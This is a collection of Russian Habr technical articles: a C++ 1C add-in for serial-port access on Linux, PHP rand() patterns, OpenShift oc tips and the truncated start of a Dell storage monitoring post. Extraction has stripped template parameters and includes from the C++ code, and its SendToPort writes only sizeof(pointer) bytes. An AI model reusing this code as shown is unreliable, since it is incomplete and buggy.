[BundleTransformer.WG](http://nuget.org/packages/BundleTransformer.WG) содержит адаптер-минимизатор CSS-кода `WgCssMinifier`. `WgCssMinifier` производит минимизацию CSS-кода с помощью семантического CSS-минимизатора из разработанной Microsoft библиотеки [WebGrease](http://nuget.org/packages/WebGrease). Семантический CSS-минимизатор WebGrease также, как и CSSO производит структурную минимизацию CSS-кода.
В данный момент, NuGet-пакет BundleTransformer.WG имеет статус альфа, т.к. текущая версия WebGrease (версия 1.1.0) содержит [ошибку](http://aspnetoptimization.codeplex.com/workitem/2) и из-за этого не может использоваться в производственных версиях сайтов.
Если вы хотите узнать больше о данном минимизаторе, то рекомендую вам посмотреть видео-доклад Говарда Дёркинга [«Bundling and Optimizing»](http://channel9.msdn.com/Events/aspConf/aspConf/Bundling-and-Optimizing).
#### Рекомендации по применению минимизаторов
Наиболее надежными минимизаторами являются минимизаторы из первой тройки: Microsoft Ajax Minifier, YUI Compressor и Google Closure Compiler (лидер по степени сжатия JS-кода). Все они обладают хорошей степенью сжатия, а обработанный ими код практически не содержит ошибок.
Новые минимизаторы, которые были разработаны под Node.js: UglifyJS и CSSO, дают более высокую степень сжатия, чем минимизаторы первой тройки (UglifyJS в некоторых случаях сжимает лучше, чем Google Closure Compiler в режиме `Simple`), но пока еще не обладают таким уровнем надежности.
Самые старые минимизаторы: JSMin и Packer, сейчас годятся только для сжатия самого простого JS-кода. К сожалению, они проигрывают современным минимизаторам и по степени сжатия, и по уровню надежности.
Я не сравнивал семантический минимизатор CSS-кода WebGrease с другими минимизаторами из-за специфики ошибки, содержащейся в нем. Но по общим наблюдениям, мне кажется, что он обладает большей степенью сжатия кода, чем CSSO.
### Настройки
Текущие настройки Bundle Transformer эквивалентны следующему варианту файла `Web.config` (в случае, когда установлены все дополнительные модули):
```
xml version="1.0" encoding="utf-8"?
...
...
...
```
В [предыдущем обзоре](http://taritsyn.wordpress.com/2012/04/17/bundle-transformer-modulnoe-rasshirenie-dlja-asp-net-bundling-and-minification/) я уже описывал структуру конфигурационной секции `bundleTransformer`, поэтому на этот раз ограничусь лишь перечислением новых секций:
* `closure` – настройки модуля BundleTransformer.Closure
* `uglify` – настройки модуля BundleTransformer.UglifyJs
* `packer` – настройки модуля BundleTransformer.Packer
* `csso` – настройки модуля BundleTransformer.Csso
Названия и возможные значения свойств перечисленных выше конфигурационных секций также не нуждаются в пояснениях, т.к. практически полностью совпадают с конфигурационными свойствами исходных минимизаторов. Также напоминаю, что для конфигурационной секции `bundleTransformer` реализована поддержка IntelliSense:
[](http://taritsyn.files.wordpress.com/2012/09/bundle_transformer_configuration_section_intellisense.png "Открыть полную версию изображения")
### Заключение
В заключении я хотел бы отметить некоторые важные моменты, касающиеся B/M и Bundle Transformer.
Многие считают, что B/M может работать только с ASP.NET MVC, но это не так. Вы можете использовать B/M и в других ASP.NET-фреймворках: Web Forms и Web Pages (в разделе ссылки указаны статьи, в которых рассказывается, как это можно сделать).
Текущие версии B/M и Bundle Transformer написаны под .NET Framework 4.0, поэтому ничто не мешает вам использовать их в ASP.NET MVC 3 и ASP.NET Web Forms 4.0.
### Ссылки
1. Страница [Bundle Transformer](http://bundletransformer.codeplex.com/) на CodePlex
2. Страница [Microsoft ASP.NET Web Optimization Framework](http://aspnetoptimization.codeplex.com/) на CodePlex
3. Видео-доклад Говарда Дёркинга [«Bundling and Optimizing»](http://channel9.msdn.com/Events/aspConf/aspConf/Bundling-and-Optimizing)
4. Видео-доклад Говарда Дёркинга [«Build high-performing HTML 5 applications easily with ASP.NET 4.5»](http://visualstudiolaunchstaging.social27.com/vs2012vle/Theater?sid=1760)
5. Учебник Рика Андерсона [«Bundling and Minification»](http://www.asp.net/mvc/tutorials/mvc-4/bundling-and-minification)
6. Статья Рика Андерсона [«Adding Bundling and Minification to Web Forms»](http://blogs.msdn.com/b/rickandy/archive/2012/08/14/adding-bundling-and-minification-to-web-forms.aspx) ([перевод](/post/150863/))
7. Статья Рика Андерсона [«Adding Web Optimization to a Web Pages Site»](http://blogs.msdn.com/b/rickandy/archive/2012/08/15/adding-web-optimization-to-a-web-pages-site.aspx) ([перевод](/post/150946/))
8. Статья Говарда Дёркинга [«Keeping in touch with the Web optimization team»](http://codebetter.com/howarddierking/2012/08/16/keeping-in-touch-with-the-web-optimization-team/) | https://habr.com/ru/post/152051/ | null | ru | null |
# Пишем внешнюю компоненту для 1С, NativeAPI на С++, для ОС Linux, с использованием Qt Creator
***Аннотация***
*В статье рассмотрен процесс создания внешней компоненты для 1С в среде*Qt Creator*для операционной системы Linux (ubuntu, debian, mint и им подобных). На примере компоненты для сбора данных от внешней аппаратуры и сохранение их в базе, посредством 1С. В качестве внешней аппаратуры в данном примере будем использовать Arduino UNO.*
**Для создания внешней компоненты понадобятся**
1. Материал «Технология создания внешних компонент», на странице 1С:ИТС
2. Шаблон пустой внешней компоненты.
3. Qt Creator. Я использовал версию 6.0.2.
**Шаблон компоненты**
В операционной системе Linux 1С поддерживает внешние компоненты созданные при помощи технологии Native API, технологии COM поддерживаются только в ОС Windows потому, что создавались специально под эту операционную систему ввиду её популярности в своё время. Поэтому мы будем пользоваться заранее написанном на С++ и реализованном в рамках технологии Native API шаблоне.
С описанием методов которые должны быть реализованы во внешней компоненте можно ознакомится на сайте 1С:ИТС.
За основу я взял кастомный шаблон с ресурса Github
Ссылка на шаблон компоненты https://github.com/Infactum/addin-template
Выражаю благодарность авторам этого шаблона, так как в использовании он более удобный чем оригинал от компании 1С.
**Начало пути**
Запускаем Qt Creator и создаём новый проект — библиотека С++
Выбираем путь размещения нашей библиотеки и систему сборки qmake. Далее в папку с проектом нашей библиотеки ложим содержимое папки src шаблона внешней компоненты, в результате там будут файлы Component.cpp, Component.h, dllmain.cpp, exports.cpp, stdafx.h и созданные автоматически имя\_класса.cpp, имя\_класса.h, имя\_класса\_global.h (у меня это ttyAddin\_global.h, ttyAddin.h, ttyAddin.cpp). И в любое удобное место папку include (с файлами AddInDefBase.h, com.h, ComponentBase.h, IandroidComponentHelper.h, ImemoryManager.h, types.h) я её расположил в папке с проектом.
В \*.pro файле, у меня это ttyAddin.pro необходимо указать путь к файлам в папке include путём добавления строки.
```
INCLUDEPATH +="/home/delphin/ProjectQt/estern_lib2/include/"
```
Так же можно библиотечные файлы из папки include добавить в папку с проектом и прописать в HEADERS и SOURCES соответственно их имена, но этот путь более долог.
Далее в файлы ttyAddin.h, ttyAddin.cpp добавляем наш код. Сам класс ttyAddin необходимо проунаследовать от шаблонного класса Component.
Первоначально эти файлы будут выглядеть так:
ttyAddin.h
```
#ifndef TTYADDIN_H
#define TTYADDIN_H
#include "ttyAddin_global.h"
#include "Component.h"
// C library headers
#include
class TTYADDIN\_EXPORT TtyAddin : public Component
{
public:
const char \*Version = u8"1.0.0"; //присутствует в шаблоне версия нашего класса
explicit TtyAddin();
std::string extensionName() override; //наименование класса
private:
std::shared\_ptr sample\_property;
};
#endif // TTYADDIN\_H
```
ttyAddin.cpp
```
#include "ttyaddin.h"
std::string TtyAddin::extensionName() { // наименование нашего класса которое будет передано в 1с
return "TTY"; // необходимо указать своё.
}
TtyAddin::TtyAddin()
{
// Universal property. Could store any supported by native api type. //присутствует в шаблоне
sample_property = std::make_shared();
AddProperty(L"SampleProperty", L"ОбразецСвойства", sample\_property);
// Full featured property registration example //присутствует в шаблоне
AddProperty(L"Version", L"ВерсияКомпоненты", & {
auto s = std::string(Version);
return std::make\_shared(std::move(s));
});
```
Так же необходимо внести изменения в файле exports.cpp
После перечисленных действий необходимо собрать проект и произвести компиляцию с целью получения файла динамической библиотеки (\*.so) в режиме Debug или Release. В Linux динамические библиотеки имею расширение \*.so (в Windows всем привычный\*.dll).
ВАЖНО: Чтобы эту библиотеку могли использовать программы необходимо выполнить следующие действия. Добавить нашу директорию с библиотекой в список известных директорий для чего подредактировать файл /etc/ld.so.conf. Например, у меня этот файл состоит из таких строк:
```
include /etc/ld.so.conf.d/*.conf
/home/delphin/.cache/fontconfig/
/home/delphin/.cache/gstreamer-1.0/
```
Во всех этих директориях хранятся всеми используемые библиотеки. В этом списке нет лишь одной директории - /lib, которая сама по себе не нуждается в описании, так как она является главной. Получается, что наша библиотека станет "заметной", если поместить ее в один их этих каталогов, либо отдельно описать в отдельном каталоге.
Необходимо в конец этого файла (ld.so.conf) добавить путь к папке с нашей библиотекой.
```
include /etc/ld.so.conf.d/*.conf
/home/delphin/.cache/fontconfig/
/home/delphin/.cache/gstreamer-1.0/
/home/delph/ProjectQt/estern_lib2/build-ttyAddin-Desktop_Qt_6_3_0_GCC_64bit-Release/
```
Сохраняем, закрываем. Чтобы система перечитала настройки заново, необходимо в терминале выполнитькоманду ldconfig.
**Интеграция с 1С**
Наш дальнейший путь пролегает через 1С. Создаём пустую базу, запускаем в режиме конфигуратора, и в модуле приложения (при запуске), или как я в модуле формы пишем код подключения внешней компоненты и создаём объект компонента.
&НаКлиенте
Перем Компонента, ПутьКБиблиотеке;
&НаКлиенте
Процедура Подключить(Команда) //обработчик созданной команды (кнопки)
ПутьКБиблиотеке="/home/delphin/ProjectQt/estern\_lib2/build-ttyAddin-Desktop\_Qt\_6\_3\_0\_GCC\_64bit-Release/libttyAddin.so";
РезультатПодключения = ПодключитьВнешнююКомпоненту(ПутьКБиблиотеке, "libextDLib", ТипВнешнейКомпоненты.Native);
Сообщить ("Компонента подключена - " + РезультатПодключения );
Попытка
Компонента = новый ("AddIn.libextDLib.TTY");
Сообщить ("Компонента создана");
Исключение
Сообщить ("неудалось создать компоненту");
КонецПопытки;
КонецПроцедуры
В настройках конфигурации необходимо установить «запуск в режиме Толстого клиента», так как для упрощения кода мы всё написали на клиенте.
Обновляем конфигурацию, и запускаем. Если в результате выполнения команды не получаем никаких исключений и сообщений об ошибках, то всё в порядке, и можно продолжать дальнейшую работу с нашей компонентой.
**Реализация необходимых методов. (функций компоненты)**
Поскольку мы ставили перед собой задачу прикрутить к 1С последовательный порт для получения данных от различных устройств через интерфейсы rs-232, rs-422, rs-485, то соответственно в нашем классе мы будем реализовывать методы для работы с последовательным портом. В качестве инструмента я выбрал стандартную Си библиотеку termios.h
Почему не QserialPort:
1. Мы пишем пример под Linux (кросплатформенность не критична).
2. termios.h более быстрая и тратит меньше ресурсов.
3. В динамической библиотеке нельзя использовать цикл событий, и соответственно невозможно использовать сигналы и слоты (даже используя отдельные потоки, пробовал не получилось) всё это сводит плюсы Qt на нет.
4. Используя termios.h можно реализовать самые экзотические настройки и режимы работы порта (например подключить старый советский принтер Robotron).
Для этого нам необходимо реализовать методы «Подключения порта», «Настройки порта», «Отключения порта», «Передачи данных», «Приёма данных». Подключение и настройку я реализовал одним методом ConnectPort, отключение методом DisconnectPort, чтение и запись методами -ReadPort и SendToPort. Так же для передачи данных в 1С я использовал стандартную функцию ExternalEvent для чего переопределил методы ExternalEvent, CleanEventBuffer, GetEventBufferDepth
ttyAddin.h
```
#ifndef TTYADDIN_H
#define TTYADDIN_H
#include "ttyAddin_global.h"
#include "Component.h"
// C library headers
#include
#include
// Linux headers
#include // Contains file controls like O\_RDWR
#include // Error integer and strerror() function
#include // Contains POSIX terminal control definitions
#include // write(), read(), close()
class TTYADDIN\_EXPORT TtyAddin : public Component
{
public:
const char \*Version = u8"1.0.0"; //присутствует в шаблоне версия нашего класса
explicit TtyAddin();
variant\_t ConnectPort (const variant\_t &, const variant\_t &);// объявление метода инициализации порта и подключение к нему
void DisconnectPort(void); //объявление метода отключения от порта
void ReadPort (); //объявление метода чтения буфера порта
void SendToPort (const variant\_t &); //объявление метода отправки строки в порт
std::string extensionName() override; //наименование класса
private:
//переопределяем проунаследованные методы
bool ExternalEvent(const std::string &, const std::string &, const std::string &);
bool SetEventBufferDepth(long);
long GetEventBufferDepth();
int serial\_port; //переменная для хранения дескриптора порта
struct termios tty; //структура данных настроек порта
char read\_buf [256]; //буфер временного хранения принятых данных
//std::string str;
std::string PortNameStr;//хранение пути к порту
std::shared\_ptr sample\_property; //наименование нашего класса которое будет передано в 1с
};
#endif // TTYADDIN\_H
```
ttyAddin.cpp
```
#include "ttyaddin.h"
std::string TtyAddin::extensionName() { // наименование нашего класса которое будет передано в 1с
return "TTY";
}
TtyAddin::TtyAddin()
{
// Universal property. Could store any supported by native api type. //присутствует в шаблоне
sample_property = std::make_shared();
AddProperty(L"SampleProperty", L"ОбразецСвойства", sample\_property);
// Full featured property registration example //присутствует в шаблоне
AddProperty(L"Version", L"ВерсияКомпоненты", [&]() {
auto s = std::string(Version);
return std::make\_shared(std::move(s));
});
//Регистрация методов
//Указываются названия методов которые мы будем использовать в 1С и связанные с ними методы класса
AddMethod(L"Сonnect", L"ПодключитьПорт", this, &TtyAddin::ConnectPort);
AddMethod(L"Disconnect", L"ОтключитьПорт", this, &TtyAddin::DisconnectPort);
AddMethod(L"Read", L"ЧитатьПорт", this, &TtyAddin::ReadPort);
AddMethod(L"Send", L"ОтправитьВПорт", this, &TtyAddin::SendToPort);
}
// определение метода инициализации порта и подключение к нему
// принимает строку пути к файлу порта и скорость порта (число)
// в случае успеха возвращает истину
variant\_t TtyAddin::ConnectPort (const variant\_t & serialPortName, const variant\_t & Baud)
{ variant\_t res = false;
//проверка операндов на соответствие типов
if (std::holds\_alternative(serialPortName) && (std::holds\_alternative(Baud)))
{ res = true;
PortNameStr = std::get(serialPortName); //помещаем путь к порту в строку пример "/dev/ttyACM0"
const char \*PortName=PortNameStr.c\_str(); // преобразуем в строку в стиле Си (массив char) и сохраняем указатель на нее
serial\_port = open(PortName, O\_RDWR); //открываем указанный порт для чтения и записи (только для чтения O\_RDONLY)
if (serial\_port < 0) {
throw std::runtime\_error(u8"указанный порт отсутствует в системе"); //если открыть порт не удалось
}
switch (static\_cast(std::get(Baud))) // в соответствии с указанной скоростью устанавливаем скорость порта
{
case 1200:cfsetspeed(&tty, B1200);
break;
case 2400:cfsetspeed(&tty, B2400);
break;
case 4800:cfsetspeed(&tty, B4800);
break;
case 9600:cfsetspeed(&tty, B9600);
break;
case 19200:cfsetspeed(&tty, B19200);
break;
default: res = false;
throw std::runtime\_error(u8"значение скорости недопустимо");
break;
}
// вводим основные настройки
tty.c\_cflag &= ~PARENB; // без паритета
tty.c\_cflag &= ~CSTOPB; // 1 стоп бит
tty.c\_cflag |= CS8; // 8 бит
tty.c\_cflag &= ~CRTSCTS; // без RTS/CTS аппаратного управления потоком
//сохраняем настройки
if (tcsetattr(serial\_port, TCSANOW, &tty) != 0)
{ throw std::runtime\_error(u8"невозможно сохранить настройки порта");
}
memset(&read\_buf, '\0', sizeof(read\_buf));//инициализируем буфер
TtyAddin::SetEventBufferDepth(10); //устанавливаем размер очереди событий в 1с функция описана в 1С:ИТС
}
else{ res = false;
throw std::runtime\_error(u8"метод serialSetting - неподдерживаемые типы данных");} //если имя порта не строка, а скорость не число
return res;
}
//определение метода отключения от порта
void TtyAddin::DisconnectPort(void) //Отключаем порт
{ close(serial\_port); }
//определение метода чтения буфера порта
void TtyAddin::ReadPort ()
{ tcflush(serial\_port,TCIOFLUSH); // чистим буфер порта от мусора перед чтением
sleep(1); // ждём (секунды)
int num\_bytes = read(serial\_port, &read\_buf[0], sizeof(read\_buf)); //читаем буфер порта
if (num\_bytes <= 0) //если -1 ошибка 0 буфер пуст
{
throw std::runtime\_error(u8"данные в порт не поступают");
}
else { ExternalEvent(extensionName(), PortNameStr, static\_cast(read\_buf));} // вывод в 1с через внешнее событие
}
//определение метода отправки строки в порт
void TtyAddin::SendToPort (const variant\_t & data)
{ if (std::holds\_alternative(data)) //проверяем соответствие типа введённых данных
{ std::string dataString = std::get(data); //преобразуем в строку
const char \* msg = dataString.c\_str(); //и переводим ее в строку в стиле си
write(serial\_port, msg, sizeof(msg)); // отправляем
}
else { throw std::runtime\_error(u8"метод serialSetting - неподдерживаемые типы данных");}
}
//переопределяем проунаследованные методы
bool TtyAddin::ExternalEvent(const std::string &src, const std::string &msg, const std::string &data)
{ return Component::ExternalEvent( src, msg, data);}
bool TtyAddin::SetEventBufferDepth(long depth)
{ return Component::SetEventBufferDepth(depth);}
long TtyAddin::GetEventBufferDepth()
{ return Component::GetEventBufferDepth();}
```
Собираем проект, компилируем.
**Внешнее устройство (Arduino UNO)**
Arduino будет получать команду (определённый символ), и в соответствии с командой давать ответ — строку символов с номером ответа.
Прошивка для ардуино.
`char inChar;`
`int counter;`
`void setup() {`
`Serial.begin(9600);`
`}`
`void loop() {`
`if (Serial.available()) {`
`inChar = Serial.read();`
`delay(100);`
`if(inChar=='e')`
`{`
`Serial.print("UNO received: ");`
`Serial.print(inChar);`
`Serial.print(" №");`
`Serial.println(++counter);`
`}`
`}`
`}`
**в модуль в 1 С добавляем код**
(файл порта может называться ttyUSB0 или ttyACM0 где 0 номер если таких подключено несколько)
`&НаКлиенте`
`Перем Компонента, ПутьКБиблиотеке;`
`&НаКлиенте`
`Процедура Подключить(Команда)`
`ПутьКБиблиотеке="/home/delphin/ProjectQt/estern_lib2/build-ttyAddin-Desktop_Qt_6_3_0_GCC_64bit-Release/libttyAddin.so";`
`РезультатПодключения = ПодключитьВнешнююКомпоненту(ПутьКБиблиотеке, "libextDLib", ТипВнешнейКомпоненты.Native);`
`Сообщить ("Компонента подключена - " + РезультатПодключения );`
`Попытка`
`Компонента = новый ("AddIn.libextDLib.TTY");`
`Сообщить ("Компонента создана");`
`Исключение`
`Сообщить ("неудалось создать компоненту");`
`КонецПопытки;`
`Попытка`
`Компонента.ПодключитьПорт ("/dev/ttyACM0", 9600); //указан путь к файлу порта. в ОС (папка dev, файл ttyACM0)`
`Сообщить ("Порт подключен");`
`Исключение`
`Сообщить ("неудалось подключить порт");`
`КонецПопытки;`
`КонецПроцедуры`
`&НаКлиенте`
`Процедура ПередЗакрытием(Отказ, ЗавершениеРаботы, ТекстПредупреждения, СтандартнаяОбработка)`
`Компонента.ОтключитьПорт();`
`КонецПроцедуры`
`&НаКлиенте`
`Процедура Получить(Команда)`
`Компонента.ОтправитьВПорт("e");`
`Компонента.ЧитатьПорт();`
`КонецПроцедуры`
Сохраняем конфигурацию, подключаем прошитую ардуину, запускаем конфигурацию и проверяем. При нажатии на кнопку подключить подключаемся к порту, при нажатии читать получаем строку из ардуины.
 | https://habr.com/ru/post/666718/ | null | ru | null |
# Псевдослучайно vs. По-настоящему Случайно
Ниже перевод статьи Бо Аллена [отсюда](http://www.boallen.com/random-numbers.html).
##### Простой наглядный пример
Однажды я наткнулся на [Random.org](http://www.random.org/), классный сервис генератора настоящих случайных чисел. Разница между генератором настоящих случайных чисел (ГНСЧ) и [генератором псевдослучайных чисел](http://ru.wikipedia.org/wiki/%D0%93%D0%B5%D0%BD%D0%B5%D1%80%D0%B0%D1%82%D0%BE%D1%80_%D0%BF%D1%81%D0%B5%D0%B2%D0%B4%D0%BE%D1%81%D0%BB%D1%83%D1%87%D0%B0%D0%B9%D0%BD%D1%8B%D1%85_%D1%87%D0%B8%D1%81%D0%B5%D0%BB) (ГПСЧ) в том, что ГНСЧ использует непредсказуемые физические средства для генерации чисел (например шумы атмосферы), а ГПСЧ использует математические алгоритмы (полностью производимые компьютером). Об этом можно более подробно узнать на [Random.org (англ.)](http://www.random.org/randomness/) и в [Википедии (англ.)](http://en.wikipedia.org/wiki/Random_number_generator#.22True.22_random_numbers_vs._pseudorandom_numbers).
Я тогда возился с Растровым Генератором и решил сам создать псевдослучайно сгенерированный растр для сравнения. И вы не поверите, первая же вещь, которую я попробовал, показала узор!
###### Random.org
###### PHP rand() в Windows
Ой! Не такой уж «случайный», а?
Немногие ГПСЧ создадут такой очевидный узор, как этот. Просто тут подобралась действительно плохая комбинация языка (PHP), операционной системы (Windows) и функции (`rand()`). Я запустил тот же код в Линуксе и там не было такого очевидного узора. Я также запустил этот код снова в Windows, но теперь применил PHPшную функцию `mt_rand()`, которая использует [Вихрь Мерсенна](http://ru.wikipedia.org/wiki/%D0%92%D0%B8%D1%85%D1%80%D1%8C_%D0%9C%D0%B5%D1%80%D1%81%D0%B5%D0%BD%D0%BD%D0%B0) для лучшей генерации случайного числа, и очевидного узора не было. Если вы хотите узнать больше о том, почему так происходит, прочитайте [это (англ.)](http://cod.ifies.com/2008/05/php-rand01-on-windows-openssl-rand-on.html).
Вот код, который я использовал для генерации растров:
```
// Requires the GD Library
header("Content-type: image/png");
$im = imagecreatetruecolor(512, 512)
or die("Cannot Initialize new GD image stream");
$white = imagecolorallocate($im, 255, 255, 255);
for ($y=0; $y<512; $y++) {
for ($x=0; $x<512; $x++) {
if (rand(0,1) === 1) {
imagesetpixel($im, $x, $y, $white);
}
}
}
imagepng($im);
imagedestroy($im);
```
По сути, такие вещи не должны вас волновать с генератором настоящих случайных чисел, если только как-то не нарушена безопасность (действительно целая отдельная тема). Генераторы псевдослучайных чисел очень разнятся по качеству. Некоторые ужасны, некоторые выдающиеся, но никакие не являются настоящими. | https://habr.com/ru/post/137864/ | null | ru | null |
# Команда oc спешит на помощь
Если вы спец в OpenShift, то этот пост вряд ли откроет вам много нового. Но если вы только начинаете его осваивать, то он сэкономит вам массу времени и нервов. Мы попросили Хорхе Тудела Гонсалеса де Рианчо, облачного консультанта в испанском офисе Red Hat, написать несколько лайфхаков для утилиты **oc**.
Это крутая команда, она здорово продумана, она мощная, она гибкая, и у нее, как вы увидите, есть много скрытых возможностей, которые стоит попробовать.
### 1. Перво-наперво: отладка
Когда я не знаю, что происходит, или получаю непонятное сообщение об ошибке, я всегда использую флаг **--loglevell**, который включает запись лога в stderr. В зависимости от значения этого флага можно увидеть curl-вызовы API Rest, содержание ответов API Rest или даже более детализированную информацию.
`$ oc --loglevel 7 get pod
...
I0216 21:24:12.027793 973 cached_discovery.go:72] returning cached discovery info from /home/jtudelag/.kube/192.168.42.77_8443/v1/serverresources.json
I0216 21:24:12.028046 973 round_trippers.go:383] GET https://192.168.42.77:8443/api/v1/namespaces/myproject/pods
I0216 21:24:12.028052 973 round_trippers.go:390] Request Headers:
I0216 21:24:12.028057 973 round_trippers.go:393] Accept: application/json
I0216 21:24:12.028061 973 round_trippers.go:393] User-Agent: oc/v1.7.6+a08f5eeb62 (linux/amd64) kubernetes/c84beff
I0216 21:24:12.053230 973 round_trippers.go:408] Response Status: 200 OK in 25 milliseconds
I0216 21:24:12.055143 973 cached_discovery.go:119] returning cached discovery info from /home/jtudelag/.kube/192.168.42.77_8443/servergroups.json
I0216 21:24:12.055228 973 cached_discovery.go:72] returning cached discovery info from /home/jtudelag/.kube/192.168.42.77_8443/authentication.k8s.io/v1/serverresources.json
I0216 21:24:12.055288 973 cached_discovery.go:72]
...`
Например, loglevel 9 очень удобен, когда вы патчите OCP-объект, поскольку позволяет увидеть сам патч (содержание API-запроса).
Если, допустим, патч меняет метку сервиса на «app: hello-jorge», то это будет выглядеть так:
`$ oc --loglevel 9 edit svc hello-openshift
...
I0216 21:33:15.786463 1389 request.go:994] Request Body: {"metadata":{"labels":{"app":"hello-jorge"}}}
I0216 21:33:15.786590 1389 round_trippers.go:386] curl -k -v -XPATCH -H "Accept: application/json" -H "Content-Type: application/strategic-merge-patch+json" -H "User-Agent: oc/v1.7.6+a08f5eeb62 (linux/amd64) kubernetes/c84beff" https://192.168.42.77:8443/api/v1/namespaces/myproject/services/hello-openshift
I0216 21:33:15.797185 1389 round_trippers.go:405] PATCH https://192.168.42.77:8443/api/v1/namespaces/myproject/services/hello-openshift 200 OK in 10 milliseconds
...`
**Примечание.** В моменты отчаяния вместо одной девятки можно вбивать сразу несколько. Вывод команды **oc** от этого не изменится, но, возможно, вам полегчает.
`$ oc --loglevel 9999 get pod`
### 2. su –
Да, вы правильно поняли. Команду **oc** можно запустить от имени другого пользователя, или, говоря на языке OCP, использовать [имперсонацию](https://docs.openshift.com/container-platform/3.7/architecture/additional_concepts/authentication.html#authentication-impersonation). Разумеется, при наличии соответствующих прав. И для этого достаточно всего лишь использовать флаг **--as**.
Например:
`# запускаем от имени пользователя jorge
$ oc --as=jorge get pods`
Имперсонация работает не только для пользователей, но и для групп:
`# запускаем от имени группы developers
$ oc --as-group=developers get pods`
Имперсонация пригодится в самых разных случаях. Например, когда надо проверить, сможет ли пользователь выполнить то или иное действие, или посмотреть, что ему выдаст команда **oc**. Еще имперсонация очень помогает при неразберихе с ролями и разрешениями.
### 3. Whoami
Команда **oc whoami** знакома, наверное, всем. Особенно флаг **-t**, позволяющий получить токен носителя для текущего пользователя/сеанса. Но что делать, если у вас есть токен, но вы не его владелец?
В этом случае можно войти в OpenShift с помощью этого токена, а затем выполнить команду **oc whoami**. Хотя, подождите, можно же сразу узнать имя владельца, просто передав токен команде **oc whoami** третьим аргументом без всяких флагов.
Смотрите:
`# сохраняем токен
$ token=$(oc whoami -t)
# получаем имя владельца токена
$ oc whoami $token
jorge`
### 4. oc debug
Как известно, shell можно запустить прямо в работающем pod'е. Иногда бывает полезно сделать полную копию конфигурации запущенного pod'а и устранять неполадки через shell. Это так называемый метод по умолчанию.
А теперь взгляните, что позволяют сделать опции **oc debug**: можно запустить контейнер от имени root или любого другого пользователя; можно запустить его на выбранном узле или можно запустить в нем не shell, а другую команду.
При этом надо указывать верный dc, например:
`# получаем shell внутри pod’а dc/jorge
$ oc debug dc/jorge
# то же самое, но как root
$ oc debug --as-root=true dc/jorge`
### 5. oc explain
В объектах OpenShift/Kubernetes иногда бывает огромное множество полей. В поисках примеров определений таких объектов часто приходится обращаться к документации по OCP или другим первоисточникам. Однако с тем же успехом можно использовать команду **oc explain**.
Эта команда выводит документацию по ресурсам и их полям, что бывает очень полезно при декларировании новых объектов OCP или в тех случаях, когда у вас нет доступа к официальной документации OCP.
Например, вот как можно получить документацию по pod’ам и описание affinity-полей:
```
# получаем справку по pod’у
$ oc explain pod
DESCRIPTION:
Pod is a collection of containers that can run on a host. This resource is created by clients and scheduled onto hosts.
FIELDS:
metadata
Standard object's metadata. More info:
http://releases.k8s.io/HEAD/docs/devel/api-conventions.md#metadata
spec
Specification of the desired behavior of the pod. More info:
http://releases.k8s.io/HEAD/docs/devel/api-conventions.md#spec-and-status
status
Most recently observed status of the pod. This data may not be up to date.
Populated by the system. Read-only. More info:
http://releases.k8s.io/HEAD/docs/devel/api-conventions.md#spec-and-status
apiVersion
APIVersion defines the versioned schema of this representation of an
object. Servers should convert recognized schemas to the latest internal
value, and may reject unrecognized values. More info:
http://releases.k8s.io/HEAD/docs/devel/api-conventions.md#resources
kind
Kind is a string value representing the REST resource this object
represents. Servers may infer this from the endpoint the client submits
requests to. Cannot be updated. In CamelCase. More info:
http://releases.k8s.io/HEAD/docs/devel/api-conventions.md#types-kinds
# получаем описание полей affinity
$ oc explain pod.spec.affinity
RESOURCE: affinity
DESCRIPTION:
If specified, the pod's scheduling constraints
Affinity is a group of affinity scheduling rules.
FIELDS:
nodeAffinity
Describes node affinity scheduling rules for the pod.
podAffinity
Describes pod affinity scheduling rules (e.g. co-locate this pod in the
same node, zone, etc. as some other pod(s)).
podAntiAffinity
Describes pod anti-affinity scheduling rules (e.g. avoid putting this pod
in the same node, zone, etc. as some other pod(s)).
```
### 6. Забудьте про grep, awk, cut и т. п.
Еще одна крутая фишка команды **oc** – это встроенные функции форматирования вывода. Про опции **-o json** или **-o yaml** знают все, но у флага **-o** есть и множество других опций.
Самые мощные, возможно, – это **go-template** и **jsonpath**:
`json|yaml|wide|name|custom-columns=...|custom-columns-file=...|go-template=...|go-template-file=...|jsonpath=...|jsonpath-file=...`
Скажем, вы хотите узнать, какой сервис, предоставляется определенным маршрутом (маршрутом docker-реестра):
`# запросим сервисы, предоставляемые маршрутами, но только для узла с именем my-docker-registry.example.com
$ oc get routes -o=go-template='{{range .items}}{{if eq .spec.host "my-docker-registry.example.com"}}{{.metadata.name}}{{end}}{{end}}'
docker-registry`
Или, допустим, нужно узнать стратегию развертывания маршрутизатора router dc:
`# запросим стратегию развертывания маршрутизатора
$ oc get dc router -o=go-template='{{ .spec.strategy.type }}'
Rolling`
Как видите, **oc** – это удивительная команда. С ней определенно стоит поиграться, поскольку это одна из самых крутых вещей в OpenShift.
Если вы хотите узнать больше про интересные возможности OpenShift, рекомендуем заглянуть в наш блог [Red Hat Developer](https://developers.redhat.com/search/?s=most-recent&f=sys_type~book&f=type~book) – здесь вас ждут не только статьи от наших разработчиков практически на любую тему, но и огромный каталог [бесплатной литературы](https://developers.redhat.com/search/?s=most-recent&f=sys_type~book&f=type~book). А еще можно освежить в памяти наш пост о том, [как развернуть Minishift на своем ноутбуке и начать жить](https://habr.com/company/redhatrussia/blog/413441/). | https://habr.com/ru/post/418437/ | null | ru | null |
# Zabbix: мониторинг дисковых хранилищ DELL MD36XX
Всем привет!
Мы открыли новой набор на обновлённый курс ["Администратор Linux"](https://otus.pw/Jibi/): всё те же новые преподаватели, динамичная программа и интересные обсуждения. Ну и заодно делимся интересной заметкой из реального случая одного из преподавателей — [Алексей Цыкунова](https://otus.pw/CSav/).
Поехали.
Задача
======
Необходимо настроить мониторинг нагрузки на дисковые хранилища DELL MD36XX.
Есть проблема – полки не умеют отдавать данные по snmp. Кстати, подобные проблемы также встречаются у хранилищ IBM, HP и других вендоров.
Окружение
=========
Сами вендоры предоставляют клиентское ПО. Так называемое StorageManager's. Некоторое из них только под Windows, но в последнее время появилось и под Linux. В моем случае ПО установилось под Linux и имеет в своём составе консольную утилиту SMcli. С помощью SMcli можно снимать статистику в файл:
```
SMcli -n StorageName -S -quick -c "save storageArray performanceStats file=\\"/var/log/md36xx.stat\\";"
```
И выглядит она следующим образом
```
"Performance Monitor Statistics for Storage Array: StorageName - Date/Time: 1/17/18 9:37:04 PM - Polling interval in seconds: 5"
